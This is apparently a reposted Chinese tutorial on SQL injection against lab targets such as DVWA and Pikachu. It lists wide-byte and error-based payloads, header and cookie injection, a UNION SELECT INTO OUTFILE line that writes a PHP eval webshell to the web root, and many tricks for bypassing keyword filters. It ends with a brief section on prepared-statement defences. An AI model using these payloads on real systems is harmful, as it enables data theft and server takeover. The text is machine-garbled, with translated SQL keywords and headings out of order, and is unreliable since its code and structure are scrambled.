# 由于数据库使用gbk编码(两个字节编码为一个汉字),%df%5c=run
科比运气”或1=1#
绕过程序:
我输入了1kobe%df\’和1=1#,仍然失败。
抓包后发现原因是网站前端将URL中的%编码为%25。
2抓包如果直接在bp中修改,则不会进行URL编码。
一旦掌握了这个原理,您还可以将%df 替换为任何其他两位十六进制数。不同的编码方法需要不同的旁路方法。
3.7 二次注入
HTTP头注入实际上并不是一种新型的SQL注入,而是指其在各种出现SQL注入漏洞的场景中的使用。
如果攻击者控制了这些HTTP 标头字段的值,并且应用程序没有正确转义或清理这些输入,则恶意SQL 代码可能会导致数据泄漏、数据篡改,甚至可能插入完全控制。数据库
通过输入皮卡丘的http 标头进行测试。
捕获数据包并将其发送到[Repeater] 模块,删除User-Agent 值,并自行创建单引号。
出现语法错误。这意味着您输入的内容将在数据库中查询。接下来就很简单了,和前面的错误注入一样。
\’或updatexml(1,concat(0x7e,database()),0) 或\’
Cookie注入是通过抓包的方式向cookie中插入注入语句。这与上面的步骤相同,所以这里不再重复。
3.8 宽字节注入
mysql支持外部写文件(这里的“外部”是指服务器内部,不包括mysql)。您必须使用select into outfile 命令。
select into outfile 的作用:将选定的代码行写入文件,并在服务器上创建该文件。
使用select into outfile 的先决条件是:
为了知道一个网站的绝对路径,我们通过开源程序、错误信息、phpinfo接口、404接口等知道我们需要对目录有写权限。一般情况下,image等存放图片的目录需要有写权限。权限和mysql文件权限(即可以读写系统上的文件),默认只有root权限可用
另外,所写入的文件名不得在网站上存在。如果不存在就会失败。
使用outfile编写木马语句。文件名是shell2.php。
1\’ 加入选择1,\’?php eval($_POST[\’a\’]);\’ 输出文件\’ /var/www/html/shell2.php
eval():允许执行传递的PHP 代码。 String $_POST[\’a\’]:a是攻击者定义的关键字,用于接收攻击者输入的内容。 /var/www/html:网站的根目录,如果底层是Linux系统,文件通常位于该目录
1进入DVWA中的低级SQL注入
2进入http://ip:port/shell2.php,打开hackerbar插件,勾选Post data,将参数传递给a,点击Run运行即可
pwd是操作系统命令,因此不能直接传递给php。必须按照规定的格式书写。
使用get 方法直接在URL 内构建
1\’ 加入选择1,\’?php eval($_GET[\’a\’]);\’ 输出文件\’ /var/www/html/shell2.php
3打开蚁剑。密码为(出于安全考虑,蚁剑只能连接post方法)
3.9 http header和cookie注入
四、从MySQL注入到GetShell
适合设置黑名单,允许你任意将某些单词更改为大写或小写
示例:选择、选择
五、SQL注入绕过
大小写转换无法绕过,正则表达式会替换或删除select、Union 等关键字。你可以尝试双写。
示例:SELselectECT、SELSeselectleCTect
5.1 大小写绕过
当您在浏览器中键入链接时,浏览器会对特殊字符执行URL 编码,您可以通过编码来避免这种情况。
空格%20、单引号%27、左括号%28、右括号%29
1URL编码
1%2527id=1%252f%252a*/UNION%252f%252a%252a/选择
2十六进制编码
mysqlselect * from user_id=1 and (extractvalue(1,concat(0x7e,(first_name=0x61646d696e),0x7e)));
5.2 替换关键字
例如,如果您输入“select 1”并且网站阻止您,您可以输入“select/**/1”以避免评论。
1一般评论
让我们看一下注释中常用的符号。
— , /**/, #, –,
2内嵌评论
没有注释语义的注释符号:仍然可以执行结果。
内嵌注释比常规注释更常用。它具有只有MySQL 才能理解的功能。
/*!SELECT*/1/*!union*//*!all*//*!select*/2;
5.3 使用编码
1.功能
bin()#二进制
十六进制()#十六进制
bin(), hex()==ascii()
睡眠()==基准()
基准(计数、公式)
基准测试重复计算expr 表达式计数次数。这样就可以评价mysql执行这个expr表达式的效率了。
concat_ws()==concat()
concat_wa(\’separator\’, field 1, field 2.) #合并多列中的字段并添加分隔符
mid(), substr()==substring() #截取字符串
strcmp(str1,str2)
#比较两个字符串。如果两个字符串相等,则返回0。如果第二个字符小于第一个字符,则返回1。否则返回-1。
strcmp(左(\’密码\’,1),0x70)=0
strcmp(左(\’密码\’,1),0x69)=1
strcmp(left(\’密码\’,1),0x71)=-1
2. 符号
如果and 和or 不可用,可以用|| 替换它们。
=如果你不能使用它,
空格可以用以下符号表示: %20 %09 % 0a %0b %0c %0d %a0 /**/
5.4 使用注释
1.反引号`(tab键上方):可以过滤空格和正则表达式,特殊情况下还可以用作注释。
从用户中选择一个ID。
2.-+:过滤空格和关键字。
select+user_id-1+1.来自用户;
3、@符号:@代表用户定义,@@代表系统变量
从用户中选择@^1;
4. 可用符号:`、~、@、%、()、[]、-、+、|、%00
5.5 等价函数与命令替换
—————-SQL注入危害这么大,为什么不换数据库呢?
由于mysql只负责存储和查询数据,而注入是代码级问题,所以不需要修复数据库。
5.6 特殊符号
预编译:提前构建语句并仅发送指定类型的值
String sql=\’select id,num from user where id=?\’ //定义SQL 语句
准备语句ps=conn.prepareStatemnt(sql)
ps.setInt(1,id); //设置变量。
ps.executeQuery(); //执行。
那么后面输入的任何内容都只会作为字符串执行,关键字无法起到任何语义作用。
六、SQL注入防御
SQL语句预编译并不是所有场景都可以使用。您还可以根据业务特点精准检测和过滤输入内容。
#【网络安全的神秘世界】以上有关SQL注入(二)的相关内容摘自网络,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92793.html